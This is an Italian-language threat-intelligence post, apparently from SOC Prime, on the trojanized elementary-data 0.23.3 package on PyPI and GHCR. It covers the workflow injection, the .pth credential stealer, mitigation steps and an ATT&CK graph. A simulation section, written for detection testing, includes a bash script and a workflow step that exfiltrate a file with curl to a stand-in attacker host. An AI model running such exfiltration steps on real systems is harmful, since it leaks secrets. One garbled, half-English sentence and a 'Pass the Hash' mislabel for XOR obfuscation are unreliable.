SOC Prime Bias: Critico

29 Apr 2026 17:42

Dati di Elementary compromessi su PyPI e GHCR tramite rilascio GitHub falsificato

Author Photo
SOC Prime Team linkedin icon Segui
Dati di Elementary compromessi su PyPI e GHCR tramite rilascio GitHub falsificato
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Una versione malevola del elementary-data pacchetto Python, versione 0.23.3, è stata caricata su PyPI, mentre un’immagine contenitore compromessa corrispondente è stata spinta anche su GitHub Container Registry. L’attaccante ha inserito codice malevolo in un flusso di lavoro Actions di GitHub, ha falsificato un rilascio firmato e poi ha abusato del token di workflow per pubblicare gli artefatti con backdoor. Il payload ha funzionato come un ladro di credenziali a tre fasi progettato per raccogliere segreti ed esfiltrarli verso un dominio controllato dall’attaccante. Qualsiasi ambiente che installasse il pacchetto interessato o tirasse l’ultima immagine contenitore era esposto a compromissioni.

Indagine

L’indagine ha scoperto che l’attacco è iniziato con un commento su una pull request aperta inserito direttamente in uno script di workflow, consentendo l’iniezione di script. Utilizzando il GITHUB_TOKENdel workflow, l’attaccante ha creato un commit di rilascio falsificato e ha attivato il processo di pubblicazione, che ha quindi distribuito la ruota trojanizzata e l’immagine Docker. L’analisi ha mostrato che un file .pth malevolo ha decodificato un wrapper Base64, decriptato il componente finale di raccolta e ha raccolto un ampio set di credenziali prima di inviarle a un dominio di comando e controllo personalizzato tramite curl.

Mitigazione

I manutentori del progetto hanno rimosso la versione malevola del pacchetto da PyPI e cancellato l’immagine compromessa da GHCR prima di pubblicare una sostituzione pulita, versione 0.23.4. StepSecurity ha aggiunto la versione malevola del pacchetto e il dominio controllato dall’attaccante alla lista nera di Harden-Runner e ha bloccato il pacchetto durante l’esecuzione della pull request. Gli sviluppatori dovrebbero fissare versioni esatte dei pacchetti e digest delle immagini, evitare di fare affidamento su tag variabili e controllare le dipendenze installate per .pth file inaspettati.

Risposta

I difensori dovrebbero cercare la presenza di elementary.pth all’interno di site-packages e identificare i sistemi che hanno tirato il digest dell’immagine Docker sospetta. Le connessioni in uscita al dominio di comando e controllo conosciuto dovrebbero essere bloccate immediatamente. I team di sicurezza dovrebbero scansionare le postazioni di lavoro degli sviluppatori e gli ambienti di costruzione per materiali segreti esposti, rimuovere eventuali pacchetti compromessi e ruotare le credenziali affette. Anche le pipeline CI/CD dovrebbero essere aggiornate per convalidare la provenienza del pacchetto e imporre delle immagini fissate rigorosamente.

graph TB %% Class Definitions Section classDef action fill:#ffcc99 classDef tool fill:#cccccc classDef malware fill:#ff9999 %% Node definitions – Actions node_supply_chain[“<b>Azione</b> – <b>T1195.002 Compromissione della Catena di Fornitura</b><br/>L’attaccante pubblica la versione malevola 0.23.3 di elementary-data su PyPI e carica un’immagine Docker trojanizzata su GHCR utilizzando la pipeline di pubblicazione legittima del progetto.”] class node_supply_chain action node_exploit_cred[“<b>Azione</b> – <b>T1212 Sfruttamento per l’Accesso alle Credenziali</b><br/>Un’iniezione di script in un workflow GitHub Actions tramite un commento manipolato esegue uno stager curl | bash, sfruttando il GITHUB_TOKEN del repository per creare un commit di rilascio falsificato.”] class node_exploit_cred action node_implant_image[“<b>Azione</b> – <b>T1525 Impianto di Immagine Interna</b><br/>L’immagine Docker malevola (tag latest) viene scaricata ed eseguita, fornendo un ambiente persistente dannoso.”] class node_implant_image action node_user_exec[“<b>Azione</b> – <b>T1204.003 Esecuzione Utente: Immagine Malevola</b><br/>I container creati dall’immagine compromessa eseguono automaticamente il payload all’avvio.”] class node_user_exec action node_cred_files[“<b>Azione</b> – <b>T1552.001 Credenziali Non Sicure: Credenziali nei File</b><br/>Il payload raccoglie chiavi SSH private, credenziali cloud, configurazioni Docker e Kubernetes e altri file sensibili.”] class node_cred_files action node_private_keys[“<b>Azione</b> – <b>T1552.004 Credenziali Non Sicure: Chiavi Private</b><br/>Raccolta specifica di file di chiavi private da directory .ssh e wallet.”] class node_private_keys action node_archive[“<b>Azione</b> – <b>T1560 Archiviazione dei Dati Raccolti</b><br/>I dati raccolti vengono compressi in un archivio tar-gz.”] class node_archive action node_archive_lib[“<b>Azione</b> – <b>T1560.002 Archiviazione tramite Libreria</b><br/>Utilizza la libreria tar per creare trin.tar.gz.”] class node_archive_lib action node_obfusc[“<b>Azione</b> – <b>T1027.015 File o Informazioni Offuscate: Compressione</b><br/>Il file .pth malevolo è codificato in base64 e cifrato con XOR-MD5 per nascondere il codice.”] class node_obfusc action node_pass_hash[“<b>Azione</b> – <b>T1550.002 Uso di Materiale di Autenticazione Alternativo: Pass the Hash</b><br/>Il payload utilizza cifratura XOR con flusso MD5 per offuscare le proprie fasi.”] class node_pass_hash action node_exfil[“<b>Azione</b> – <b>T1048 Esfiltrazione tramite Protocollo Alternativo</b><br/>L’archivio viene esfiltrato tramite un singolo POST curl al dominio C2.”] class node_exfil action %% Tools tool_pypi[“<b>Strumento</b> – <b>Nome</b>: PyPI<br/><b>Tipo</b>: Repository di pacchetti Python”] class tool_pypi tool tool_ghcr[“<b>Strumento</b> – <b>Nome</b>: GitHub Container Registry (GHCR)<br/><b>Tipo</b>: Registro di immagini Docker”] class tool_ghcr tool tool_github_actions[“<b>Strumento</b> – <b>Nome</b>: GitHub Actions<br/><b>Tipo</b>: Motore CI/CD”] class tool_github_actions tool tool_curl[“<b>Strumento</b> – <b>Nome</b>: curl<br/><b>Tipo</b>: Utility da linea di comando per trasferimento dati”] class tool_curl tool tool_bash[“<b>Strumento</b> – <b>Nome</b>: bash<br/><b>Tipo</b>: Interprete di shell”] class tool_bash tool %% Malware malware_docker_image[“<b>Malware</b> – <b>Nome</b>: Immagine Docker Malevola<br/><b>Tag</b>: latest”] class malware_docker_image malware malware_payload[“<b>Malware</b> – <b>Nome</b>: File Payload .pth<br/><b>Offuscamento</b>: Base64 + XOR-MD5”] class malware_payload malware %% Connections (unchanged) node_supply_chain –>|publishes to| tool_pypi node_supply_chain –>|pushes image to| tool_ghcr tool_ghcr –>|hosts| malware_docker_image node_exploit_cred –>|injects script into| tool_github_actions tool_github_actions –>|executes| tool_curl tool_curl –>|pipes to| tool_bash tool_bash –>|runs| malware_payload malware_docker_image –>|run by| node_implant_image node_implant_image –>|triggers| node_user_exec node_user_exec –>|executes| malware_payload malware_payload –>|collects| node_cred_files node_cred_files –>|also collects| node_private_keys node_cred_files –>|passed to| node_archive node_archive –>|uses| node_archive_lib node_archive_lib –>|produces| node_obfusc node_obfusc –>|used by| node_pass_hash node_pass_hash –>|exfiltrates via| node_exfil node_exfil –>|uses| tool_curl

Flusso di Attacco

## Esecuzione della Simulazione

Pre-requisito: Il Controllo Preliminare di Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione riflettono direttamente le TTP identificate e mirano a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione dell’Attacco & Comandi:
    Un attaccante ha compromesso un repository che utilizza GitHub Actions per CI/CD. Aggiungono uno step malevolo al file del flusso di lavoro:

    - name: Esfiltrare dati
      run: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    Quando il flusso di lavoro viene eseguito sul runner di GitHub Actions, l’albero di processo appare così:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (processo padre)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (processo figlio)

    The auditd il record per il passaggio 2 contiene una riga di comando con bash e , soddisfacendo la condizione Sigma. and , soddisfacendo la condizione Sigma., satisfying the Sigma condition.

  • Script di Test Regressione:

    #!/usr/bin/env bash
    #
    # Simula lo step malevolo delle GitHub Actions che dovrebbe attivare la regola di rilevamento.
    # Crea un file temporaneo, scrive dati fittizi, poi esfiltra tramite curl avvolto in bash.
    
    set -euo pipefail
    
    # 1. Crea dati segreti fittizi
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "informazione_sensibile_$(date +%s)" > "$tmpfile"
    
    # 2. Esegui l'esfiltrazione usando il pattern vulnerabile
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. Output di conferma per il tester
    echo "Esfiltrazione malevola simulata; il file temporaneo $tmpfile dovrebbe essere eliminato dalla pulizia."
  • Comandi di Pulizia:

    #!/usr/bin/env bash
    # Rimuovi eventuali file temporanei creati durante la simulazione
    rm -f /tmp/secret_data.*
    
    # Opzionalmente, ferma eventuali processi curl residui (non dovrebbe essere necessario)
    pkill -f "curl --data-binary" || true